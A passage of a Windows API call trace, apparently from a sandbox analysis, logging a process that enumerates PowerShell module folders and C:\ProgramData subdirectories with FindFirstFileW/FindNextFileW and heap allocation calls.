ftLastWriteTime.dwLowDateTime=0x987bae9f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x321, dwReserved0=0x0, dwReserved1=0x0, cFileName="Context.snippets.ps1xml", cAlternateFileName="")) returned 1 [0269.620] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98748765, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x98748765, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x98748765, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x325, dwReserved0=0x0, dwReserved1=0x0, cFileName="Describe.snippets.ps1xml", cAlternateFileName="")) returned 1 [0269.620] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x987224f6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x987224f6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x987224f6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="It.snippets.ps1xml", cAlternateFileName="")) returned 1 [0269.621] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e57727, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97e57727, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97e57727, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x325, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldBe.snippets.ps1xml", cAlternateFileName="")) returned 1 [0269.621] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98748765, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x98748765, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x98748765, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x34a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldBeGreaterThan.snippets.ps1xml", cAlternateFileName="")) returned 1 [0269.875] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x987bae9f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x987bae9f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x987bae9f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x341, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldBeLessThan.snippets.ps1xml", cAlternateFileName="")) returned 1 [0269.875] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x987bae9f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x987bae9f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x987bae9f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x348, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldBeNullOrEmpty.snippets.ps1xml", cAlternateFileName="")) returned 1 [0269.875] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x986fc293, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x986fc293, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x987224f6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x334, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldContain.snippets.ps1xml", cAlternateFileName="")) returned 1 [0269.875] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x986fc293, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x986fc293, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x986fc293, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x32e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldExist.snippets.ps1xml", cAlternateFileName="")) returned 1 [0269.875] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e314c8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97e314c8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97e314c8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x32e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldMatch.snippets.ps1xml", cAlternateFileName="")) returned 1 [0269.875] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98794c2c, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x98794c2c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x98794c2c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x32e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldNotBe.snippets.ps1xml", cAlternateFileName="")) returned 1 [0269.877] GetProcessHeap () returned 0xc10000 [0269.877] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d2fe0 | out: hHeap=0xc10000) returned 1 [0269.878] GetProcessHeap () returned 0xc10000 [0269.878] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0269.878] GetProcessHeap () returned 0xc10000 [0269.878] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0269.881] GetProcessHeap () returned 0xc10000 [0269.882] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0269.882] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc9fecb3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ca8 [0269.883] GetProcessHeap () returned 0xc10000 [0269.883] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0269.883] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbca000ca, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4d28 [0269.908] GetProcessHeap () returned 0xc10000 [0269.908] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33d2fe0 [0269.908] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\en-US\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b27bb25, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbca0086d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4e28 [0269.910] GetProcessHeap () returned 0xc10000 [0269.910] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d2fe0 | out: hHeap=0xc10000) returned 1 [0269.910] GetProcessHeap () returned 0xc10000 [0269.910] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0269.911] GetProcessHeap () returned 0xc10000 [0269.911] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0269.913] GetProcessHeap () returned 0xc10000 [0269.913] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0269.944] GetProcessHeap () returned 0xc10000 [0269.944] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c1f98 | out: hHeap=0xc10000) returned 1 [0269.946] GetProcessHeap () returned 0xc10000 [0269.946] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xcd9de8 | out: hHeap=0xc10000) returned 1 [0269.946] GetProcessHeap () returned 0xc10000 [0269.946] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0xcd9de8 [0269.946] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\*", lpFindFileData=0x2e5f6d8 | out: lpFindFileData=0x2e5f6d8*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x450f4738, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x450f4738, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName=".", cAlternateFileName="")) returned 0x33e4d28 [0269.947] GetProcessHeap () returned 0xc10000 [0269.947] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c1f98 [0269.948] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Adobe\\*", lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x450f4738, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0x4511a9a6, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x4511a9a6, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ba8 [0269.949] GetProcessHeap () returned 0xc10000 [0269.949] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0269.949] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Adobe\\ARM\\*", lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4511a9a6, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0x28e82a8b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x28e82a8b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ca8 [0269.959] GetProcessHeap () returned 0xc10000 [0269.959] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0269.960] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Adobe\\ARM\\Reader_15.007.20033\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x53050818, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0xfb2ddff7, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x3268450e, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4da8 [0269.964] GetProcessHeap () returned 0xc10000 [0269.965] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0269.965] GetProcessHeap () returned 0xc10000 [0269.965] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0269.965] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Adobe\\ARM\\Reader_15.023.20070\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8d2868f, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0xa7140105, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x2797fc81, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4da8 [0269.966] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8d2868f, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0xa7140105, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x2797fc81, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0269.966] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8d2868f, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0xa7140105, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x2797fc81, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0269.966] FindClose (in: hFindFile=0x33e4da8 | out: hFindFile=0x33e4da8) returned 1 [0269.966] GetProcessHeap () returned 0xc10000 [0269.966] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0269.966] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xdcb711fb, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0x3c33d412, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x4b9b7315, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S", cAlternateFileName="")) returned 1 [0269.966] GetProcessHeap () returned 0xc10000 [0269.966] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0269.966] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Adobe\\ARM\\S\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xdcb711fb, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0x3c33d412, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x4b9b7315, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4e28 [0269.967] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xdcb711fb, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0x3c33d412, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x4b9b7315, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0269.967] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xdcb711fb, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0x3c33d412, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x4b9b7315, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0269.967] FindClose (in: hFindFile=0x33e4e28 | out: hFindFile=0x33e4e28) returned 1 [0269.967] GetProcessHeap () returned 0xc10000 [0269.967] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0269.967] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xdcb711fb, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0x3c33d412, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x4b9b7315, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S", cAlternateFileName="")) returned 0 [0269.967] FindClose (in: hFindFile=0x33e4ca8 | out: hFindFile=0x33e4ca8) returned 1 [0269.967] GetProcessHeap () returned 0xc10000 [0269.967] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0269.968] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4511a9a6, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0x28e82a8b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x28e82a8b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARM", cAlternateFileName="")) returned 0 [0269.968] FindClose (in: hFindFile=0x33e4ba8 | out: hFindFile=0x33e4ba8) returned 1 [0269.968] GetProcessHeap () returned 0xc10000 [0269.969] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c1f98 | out: hHeap=0xc10000) returned 1 [0269.969] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5f6d8 | out: lpFindFileData=0x2e5f6d8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x78624286, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x78624286, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x78624286, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7e0055, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0269.969] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5f6d8 | out: lpFindFileData=0x2e5f6d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbcb1c5f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcb9c8f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7e0055, cFileName="Comms", cAlternateFileName="")) returned 1 [0269.969] GetProcessHeap () returned 0xc10000 [0269.969] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c1f98 [0269.969] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Comms\\*", lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbcb1c5f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcb9c8f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ca8 [0269.970] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbcb1c5f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcb9c8f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0269.970] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbcb1c5f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcb9c8f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0269.970] FindClose (in: hFindFile=0x33e4ca8 | out: hFindFile=0x33e4ca8) returned 1 [0269.970] GetProcessHeap () returned 0xc10000 [0269.970] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c1f98 | out: hHeap=0xc10000) returned 1 [0269.970] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5f6d8 | out: lpFindFileData=0x2e5f6d8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x78624286, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x78624286, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x78624286, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7e0055, cFileName="Desktop", cAlternateFileName="")) returned 1 [0269.971] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5f6d8 | out: lpFindFileData=0x2e5f6d8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x78624286, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x78624286, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x78624286, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7e0055, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0269.971] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5f6d8 | out: lpFindFileData=0x2e5f6d8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc93dc4da, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc93dc4da, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7e0055, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0269.971] GetProcessHeap () returned 0xc10000 [0269.971] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c1f98 [0269.971] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\*", lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc93dc4da, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc93dc4da, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0269.971] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc93dc4da, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc93dc4da, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0269.971] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbcb1d3d3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6d9d2c8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppV", cAlternateFileName="")) returned 1 [0269.971] GetProcessHeap () returned 0xc10000 [0269.971] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0269.972] FindFirstFileW (in: 